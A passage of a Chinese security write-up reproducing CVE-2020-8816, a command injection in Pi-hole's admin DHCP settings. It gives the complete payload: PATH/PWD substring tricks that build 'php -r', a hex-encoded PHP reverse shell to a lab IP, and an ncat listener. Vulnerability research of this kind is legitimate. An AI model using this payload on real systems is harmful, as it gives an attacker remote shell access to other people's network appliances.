binaryCVE-2020-8816: Pi-hole中的远程代码执行漏洞分析及复现( 三 )


binaryCVE-2020-8816: Pi-hole中的远程代码执行漏洞分析及复现
本文插图

很遗憾 , 没有h字符 , 看来还需要找其他环境变量 。 我在env命令的执行结果中找到了PWD变量 , 输入试一下:
binaryCVE-2020-8816: Pi-hole中的远程代码执行漏洞分析及复现
本文插图

里面有h和r , 所以 , 我可以使用PATH和PWD两个环境变量 , 获得p、h、r这几个字符 。
我使用了Shell参数扩展对这两个变量值进行截取:
p: SHORT=${PATH##/***:/}&&A=${SHORT#???}&&P=${A%/???} h: B=${PWD#/???/???/}&&H=${B%???/?????} r: C=${PWD#/??}&&R=${C%/???/????/?????}
根据模式匹配的规则 , 应该可以写出更简洁的方法 , 但是我的系统中好多shell选项都没有开启 , 考虑到通用性 , 我就直接选择了最傻瓜的匹配方式 。
3、获得反向shell
$P$H$P$IFS-$R$IFS'EXEC(HEX2BIN("706870202d72202724736f636b3d66736f636b6f70656e28223139322e3136382e312e313035222c32323536293b6578656328222f62696e2f7368202d69203c2633203e263320323e263322293b27"));'
先把变量换成对应的字符 , 注意上面的$IFS是shell的一个内定变量 , 默认为 , 这里代替空格 。
php -r 'exec(hex2bin("706870202d72202724736f636b3d66736f636b6f70656e28223139322e3136382e312e313035222c32323536293b6578656328222f62696e2f7368202d69203c2633203e263320323e263322293b27"))'
然后替换hex2bin的执行结果(转义符是我后加的):
php -r 'exec(php -r \'$sock=fsockopen("192.168.1.105",2256);exec("/bin/sh -i <&3 >&3 2>&3");\')'
这段代码就可以获得一个反向shell 。
漏洞复现
在主机的命令行中输入:
ncat -nlvp 2256
进入监听模式 , 等待其他机器的连接 。
返回虚拟机 , 在浏览器中打开http://192.168.1.107/admin , 登录 , 选择Setting->DHCP选项卡 , 输入payload:
aaaaaaaaaaaa&&SHORT=${PATH##/***:/}&&A=${SHORT#???}&&P=${A%/???}&&B=${PWD#/???/???/}&&H=${B%???/?????}&&C=${PWD#/??}&&R=${C%/???/????/?????}&&$P$H$P$IFS-$R$IFS'EXEC(HEX2BIN("706870202d72202724736f636b3d66736f636b6f70656e28223139322e3136382e312e313035222c32323536293b6578656328222f62696e2f7368202d69203c2633203e263320323e263322293b27"));'&&
返回主机 , 可以看到主机收到了连接 , 可以执行命令了:
binaryCVE-2020-8816: Pi-hole中的远程代码执行漏洞分析及复现
本文插图

参考文献
【binaryCVE-2020-8816: Pi-hole中的远程代码执行漏洞分析及复现】*本文作者:s1len0eye , 转载请注明来自FreeBuf.COM


推荐阅读